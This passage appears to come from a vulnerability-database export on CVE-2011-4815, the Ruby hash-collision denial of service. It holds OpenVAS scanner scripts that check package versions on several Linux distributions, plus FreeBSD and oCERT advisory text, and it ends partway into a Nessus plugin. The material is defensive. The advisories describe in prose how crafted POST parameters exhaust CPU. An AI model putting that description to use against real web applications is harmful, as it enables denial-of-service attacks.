that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_xref(name:\"URL\", value:\"http://www.mandriva.com/en/support/security/advisories/?name=MDVSA-2012:024\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.831554\");\n script_version(\"$Revision: 12381 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-11-16 12:16:30 +0100 (Fri, 16 Nov 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-03-07 11:20:38 +0530 (Wed, 07 Mar 2012)\");\n script_cve_id(\"CVE-2011-4815\");\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_xref(name:\"MDVSA\", value:\"2012:024\");\n script_name(\"Mandriva Update for ruby MDVSA-2012:024 (ruby)\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'ruby'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"Mandrake Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/mandriva_mandrake_linux\", \"ssh/login/release\", re:\"ssh/login/release=MNDK_(2011\\.0|mes5\\.2|2010\\.1)\");\n script_tag(name:\"affected\", value:\"ruby on Mandriva Linux 2011.0,\n Mandriva Enterprise Server 5.2,\n Mandriva Linux 2010.1\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n script_tag(name:\"insight\", value:\"A vulnerability has been found and corrected in ruby:\n\n Ruby (aka CRuby) before 1.8.7-p357 computes hash values without\n restricting the ability to trigger hash collisions predictably,\n which allows context-dependent attackers to cause a denial of service\n (CPU consumption) via crafted input to an application that maintains\n a hash table (CVE-2011-4815).\n\n The updated packages have been patched to correct this issue.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"MNDK_2011.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"ruby\", rpm:\"ruby~1.8.7.p334~4.1\", rls:\"MNDK_2011.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-devel\", rpm:\"ruby-devel~1.8.7.p334~4.1\", rls:\"MNDK_2011.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-doc\", rpm:\"ruby-doc~1.8.7.p334~4.1\", rls:\"MNDK_2011.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-tk\", rpm:\"ruby-tk~1.8.7.p334~4.1\", rls:\"MNDK_2011.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"MNDK_mes5.2\")\n{\n\n if ((res = isrpmvuln(pkg:\"ruby\", rpm:\"ruby~1.8.7~7p72.5mdvmes5.2\", rls:\"MNDK_mes5.2\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-devel\", rpm:\"ruby-devel~1.8.7~7p72.5mdvmes5.2\", rls:\"MNDK_mes5.2\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-doc\", rpm:\"ruby-doc~1.8.7~7p72.5mdvmes5.2\", rls:\"MNDK_mes5.2\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-tk\", rpm:\"ruby-tk~1.8.7~7p72.5mdvmes5.2\", rls:\"MNDK_mes5.2\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"MNDK_2010.1\")\n{\n\n if ((res = isrpmvuln(pkg:\"ruby\", rpm:\"ruby~1.8.7.p249~4.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-devel\", rpm:\"ruby-devel~1.8.7.p249~4.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-doc\", rpm:\"ruby-doc~1.8.7.p249~4.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-tk\", rpm:\"ruby-tk~1.8.7.p249~4.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2020-03-17T23:03:07", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "description": "The remote host is missing an update announced via the referenced Security Advisory.", "modified": "2020-03-13T00:00:00", "published": "2015-09-08T00:00:00", "id": "OPENVAS:1361412562310120218", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310120218", "type": "openvas", "title": "Amazon Linux: Security Advisory (ALAS-2012-35)", "sourceData": "# Copyright (C) 2015 Eero Volotinen\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of their respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.120218\");\n script_version(\"2020-03-13T13:19:50+0000\");\n script_tag(name:\"creation_date\", value:\"2015-09-08 13:20:37 +0200 (Tue, 08 Sep 2015)\");\n script_tag(name:\"last_modification\", value:\"2020-03-13 13:19:50 +0000 (Fri, 13 Mar 2020)\");\n script_name(\"Amazon Linux: Security Advisory (ALAS-2012-35)\");\n script_tag(name:\"insight\", value:\"Ruby (aka CRuby) before 1.8.7-p357 computes hash values without restricting the ability to trigger hash collisions predictably, which allows context-dependent attackers to cause a denial of service (CPU consumption) via crafted input to an application that maintains a hash table.\");\n script_tag(name:\"solution\", value:\"Run yum update ruby to update your system.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"URL\", value:\"https://alas.aws.amazon.com/ALAS-2012-35.html\");\n script_cve_id(\"CVE-2011-4815\");\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/amazon_linux\", \"ssh/login/release\");\n script_category(ACT_GATHER_INFO);\n script_tag(name:\"summary\", value:\"The remote host is missing an update announced via the referenced Security Advisory.\");\n script_copyright(\"Copyright (C) 2015 Eero Volotinen\");\n script_family(\"Amazon Linux Local Security Checks\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"AMAZON\") {\n if(!isnull(res = isrpmvuln(pkg:\"ruby\", rpm:\"ruby~1.8.7.357~1.10.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"ruby-static\", rpm:\"ruby-static~1.8.7.357~1.10.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"ruby-libs\", rpm:\"ruby-libs~1.8.7.357~1.10.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"ruby-ri\", rpm:\"ruby-ri~1.8.7.357~1.10.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"ruby-debuginfo\", rpm:\"ruby-debuginfo~1.8.7.357~1.10.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"ruby-irb\", rpm:\"ruby-irb~1.8.7.357~1.10.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"ruby-rdoc\", rpm:\"ruby-rdoc~1.8.7.357~1.10.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-05-29T18:39:03", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2012-04-02T00:00:00", "id": "OPENVAS:1361412562310863921", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310863921", "type": "openvas", "title": "Fedora Update for ruby FEDORA-2011-17542", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for ruby FEDORA-2011-17542\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_xref(name:\"URL\", value:\"http://lists.fedoraproject.org/pipermail/package-announce/2012-January/071762.html\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.863921\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2012-04-02 12:36:40 +0530 (Mon, 02 Apr 2012)\");\n script_cve_id(\"CVE-2011-4815\");\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_xref(name:\"FEDORA\", value:\"2011-17542\");\n script_name(\"Fedora Update for ruby FEDORA-2011-17542\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'ruby'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC16\");\n script_tag(name:\"affected\", value:\"ruby on Fedora 16\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC16\")\n{\n if ((res = isrpmvuln(pkg:\"ruby\", rpm:\"ruby~1.8.7.357~1.fc16\", rls:\"FC16\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-05-29T18:38:48", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "description": "The remote host is missing an update for the ", "modified": "2018-11-23T00:00:00", "published": "2012-07-09T00:00:00", "id": "OPENVAS:1361412562310870638", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310870638", "type": "openvas", "title": "RedHat Update for ruby RHSA-2012:0069-01", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# RedHat Update for ruby RHSA-2012:0069-01\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_xref(name:\"URL\", value:\"https://www.redhat.com/archives/rhsa-announce/2012-January/msg00025.html\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.870638\");\n script_version(\"$Revision: 12497 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-11-23 09:28:21 +0100 (Fri, 23 Nov 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-07-09 10:38:29 +0530 (Mon, 09 Jul 2012)\");\n script_cve_id(\"CVE-2011-4815\");\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_xref(name:\"RHSA\", value:\"2012:0069-01\");\n script_name(\"RedHat Update for ruby RHSA-2012:0069-01\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'ruby'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"Red Hat Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/rhel\", \"ssh/login/rpms\", re:\"ssh/login/release=RHENT_6\");\n script_tag(name:\"affected\", value:\"ruby on Red Hat Enterprise Linux Desktop (v. 6),\n Red Hat Enterprise Linux Server (v. 6),\n Red Hat Enterprise Linux Workstation (v. 6)\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n script_tag(name:\"insight\", value:\"Ruby is an extensible, interpreted, object-oriented, scripting language. It\n has features to process text files and to do system management tasks.\n\n A denial of service flaw was found in the implementation of associative\n arrays (hashes) in Ruby. An attacker able to supply a large number of\n inputs to a Ruby application (such as HTTP POST request parameters sent to\n a web application) that are used as keys when inserting data into an array\n could trigger multiple hash function collisions, making array operations\n take an excessive amount of CPU time. To mitigate this issue, randomization\n has been added to the hash function to reduce the chance of an attacker\n successfully causing intentional collisions. (CVE-2011-4815)\n\n Red Hat would like to thank oCERT for reporting this issue. oCERT\n acknowledges Julian Waelde and Alexander Klink as the original reporters.\n\n All users of ruby are advised to upgrade to these updated packages, which\n contain a backported patch to resolve this issue.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"RHENT_6\")\n{\n\n if ((res = isrpmvuln(pkg:\"ruby\", rpm:\"ruby~1.8.7.352~4.el6_2\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-debuginfo\", rpm:\"ruby-debuginfo~1.8.7.352~4.el6_2\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-irb\", rpm:\"ruby-irb~1.8.7.352~4.el6_2\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-libs\", rpm:\"ruby-libs~1.8.7.352~4.el6_2\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-05-29T18:39:18", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2012-07-30T00:00:00", "id": "OPENVAS:1361412562310881167", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310881167", "type": "openvas", "title": "CentOS Update for ruby CESA-2012:0069 centos6", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# CentOS Update for ruby CESA-2012:0069 centos6\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_xref(name:\"URL\", value:\"http://lists.centos.org/pipermail/centos-announce/2012-January/018400.html\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.881167\");\n script_version(\"$Revision: 14222 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 13:50:48 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2012-07-30 16:29:58 +0530 (Mon, 30 Jul 2012)\");\n script_cve_id(\"CVE-2011-4815\");\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_xref(name:\"CESA\", value:\"2012:0069\");\n script_name(\"CentOS Update for ruby CESA-2012:0069 centos6\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'ruby'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\", re:\"ssh/login/release=CentOS6\");\n script_tag(name:\"affected\", value:\"ruby on CentOS 6\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n script_tag(name:\"insight\", value:\"Ruby is an extensible, interpreted, object-oriented, scripting language. It\n has features to process text files and to do system management tasks.\n\n A denial of service flaw was found in the implementation of associative\n arrays (hashes) in Ruby. An attacker able to supply a large number of\n inputs to a Ruby application (such as HTTP POST request parameters sent to\n a web application) that are used as keys when inserting data into an array\n could trigger multiple hash function collisions, making array operations\n take an excessive amount of CPU time. To mitigate this issue, randomization\n has been added to the hash function to reduce the chance of an attacker\n successfully causing intentional collisions. (CVE-2011-4815)\n\n Red Hat would like to thank oCERT for reporting this issue. oCERT\n acknowledges Julian W\u00e4lde and Alexander Klink as the original reporters.\n\n All users of ruby are advised to upgrade to these updated packages, which\n contain a backported patch to resolve this issue.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"CentOS6\")\n{\n\n if ((res = isrpmvuln(pkg:\"ruby\", rpm:\"ruby~1.8.7.352~4.el6_2\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-devel\", rpm:\"ruby-devel~1.8.7.352~4.el6_2\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-docs\", rpm:\"ruby-docs~1.8.7.352~4.el6_2\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-irb\", rpm:\"ruby-irb~1.8.7.352~4.el6_2\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-libs\", rpm:\"ruby-libs~1.8.7.352~4.el6_2\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-rdoc\", rpm:\"ruby-rdoc~1.8.7.352~4.el6_2\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-ri\", rpm:\"ruby-ri~1.8.7.352~4.el6_2\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-static\", rpm:\"ruby-static~1.8.7.352~4.el6_2\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"ruby-tcltk\", rpm:\"ruby-tcltk~1.8.7.352~4.el6_2\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}], "freebsd": [{"lastseen": "2019-05-29T18:33:54", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4838", "CVE-2011-5036", "CVE-2011-5037", "CVE-2011-4815"], "description": "\noCERT reports:\n\nA variety of programming languages suffer from a denial-of-service\n\t (DoS) condition against storage functions of key/value pairs in\n\t hash data structures, the condition can be leveraged by exploiting\n\t predictable collisions in the underlying hashing algorithms.\nThe issue finds particular exposure in web server applications\n\t and/or frameworks. In particular, the lack of sufficient limits\n\t for the number of parameters in POST requests in conjunction with\n\t the predictable collision properties in the hashing functions of\n\t the underlying languages can render web applications vulnerable\n\t to the DoS condition. The attacker, using specially crafted HTTP\n\t requests, can lead to a 100% of CPU usage which can last up to\n\t several hours depending on the targeted application and server\n\t performance, the amplification effect is considerable and\n\t requires little bandwidth and time on the attacker side.\nThe condition for predictable collisions in the hashing functions\n\t has been reported for the following language implementations:\n\t Java, JRuby, PHP, Python, Rubinius, Ruby. In the case of the\n\t Ruby language, the 1.9.x branch is not affected by the\n\t predictable collision condition since this version includes a\n\t randomization of the hashing function.\nThe vulnerability outlined in this advisory is practically\n\t identical to the one reported in 2003 and described in the paper\n\t Denial of Service via Algorithmic Complexity Attacks which\n\t affected the Perl language.\n\n", "edition": 4, "modified": "2012-01-20T00:00:00", "published": "2011-12-28T00:00:00", "id": "91BE81E7-3FEA-11E1-AFC7-2C4138874F7D", "href": "https://vuxml.freebsd.org/freebsd/91be81e7-3fea-11e1-afc7-2c4138874f7d.html", "title": "Multiple implementations -- DoS via hash algorithm collision", "type": "freebsd", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-05-29T18:33:54", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4885", "CVE-2011-4566"], "description": "\nphp development team reports:\n\nSecurity Enhancements and Fixes in PHP 5.3.9:\n\nAdded max_input_vars directive to prevent attacks\n\t based on hash collisions. (CVE-2011-4885)\nFixed bug #60150 (Integer overflow during the parsing\n\t of invalid exif header). (CVE-2011-4566)\n\n\n", "edition": 4, "modified": "2012-01-19T00:00:00", "published": "2011-12-29T00:00:00", "id": "D3921810-3C80-11E1-97E8-00215C6A37BB", "href": "https://vuxml.freebsd.org/freebsd/d3921810-3c80-11e1-97e8-00215c6a37bb.html", "title": "php -- multiple vulnerabilities", "type": "freebsd", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "nessus": [{"lastseen": "2021-01-07T10:47:20", "description": "oCERT reports :\n\nA variety of programming languages suffer from a denial-of-service\n(DoS) condition against storage functions of key/value pairs in hash\ndata structures, the condition can be leveraged by exploiting\npredictable collisions in the underlying hashing algorithms.\n\nThe issue finds particular exposure in web server applications and/or\nframeworks. In particular, the lack of sufficient limits for the\nnumber of parameters in POST requests in conjunction with the\npredictable collision properties in the hashing functions of the\nunderlying languages can render web applications vulnerable to the DoS\ncondition. The attacker, using specially crafted HTTP requests, can\nlead to a 100% of CPU usage which can last up to several hours\ndepending on the targeted application and server performance, the\namplification effect is considerable and requires little bandwidth and\ntime on the attacker side.\n\nThe condition for predictable collisions in the hashing functions has\nbeen reported for the following language implementations : Java,\nJRuby, PHP, Python, Rubinius, Ruby. In the case of the Ruby language,\nthe 1.9.x branch is not affected by the predictable collision\ncondition since this version includes a randomization of the hashing\nfunction.\n\nThe vulnerability outlined in this advisory is practically identical\nto the one reported in 2003 and described in the paper Denial of\nService via Algorithmic Complexity Attacks which affected the Perl\nlanguage.", "edition": 22, "published": "2012-01-16T00:00:00", "title": "FreeBSD : Multiple implementations -- DoS via hash algorithm collision (91be81e7-3fea-11e1-afc7-2c4138874f7d)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4838", "CVE-2011-5036", "CVE-2011-5037", "CVE-2011-4815"], "modified": "2012-01-16T00:00:00", "cpe": ["p-cpe:/a:freebsd:freebsd:v8", "p-cpe:/a:freebsd:freebsd:ruby", "cpe:/o:freebsd:freebsd", "p-cpe:/a:freebsd:freebsd:ruby+nopthreads", "p-cpe:/a:freebsd:freebsd:redis", "p-cpe:/a:freebsd:freebsd:node", "p-cpe:/a:freebsd:freebsd:ruby+nopthreads+oniguruma", "p-cpe:/a:freebsd:freebsd:ruby+oniguruma", "p-cpe:/a:freebsd:freebsd:rubygem-rack", "p-cpe:/a:freebsd:freebsd:jruby"], "id": "FREEBSD_PKG_91BE81E73FEA11E1AFC72C4138874F7D.NASL", "href": "https://www.tenable.com/plugins/nessus/57552", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the FreeBSD VuXML database :\n#\n# Copyright 2003-2018 Jacques Vidrine and contributors\n#\n# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,\n# HTML, PDF, PostScript, RTF and so forth) with or without modification,\n# are permitted provided that the following conditions are met:\n# 1. Redistributions of source code (VuXML) must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer as the first lines of this file unmodified.\n# 2. Redistributions in compiled form (transformed to other DTDs,\n# published online in any format, converted to PDF, PostScript,\n# RTF and other formats) must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# \n# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(57552);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2011-4815\", \"CVE-2011-4838\", 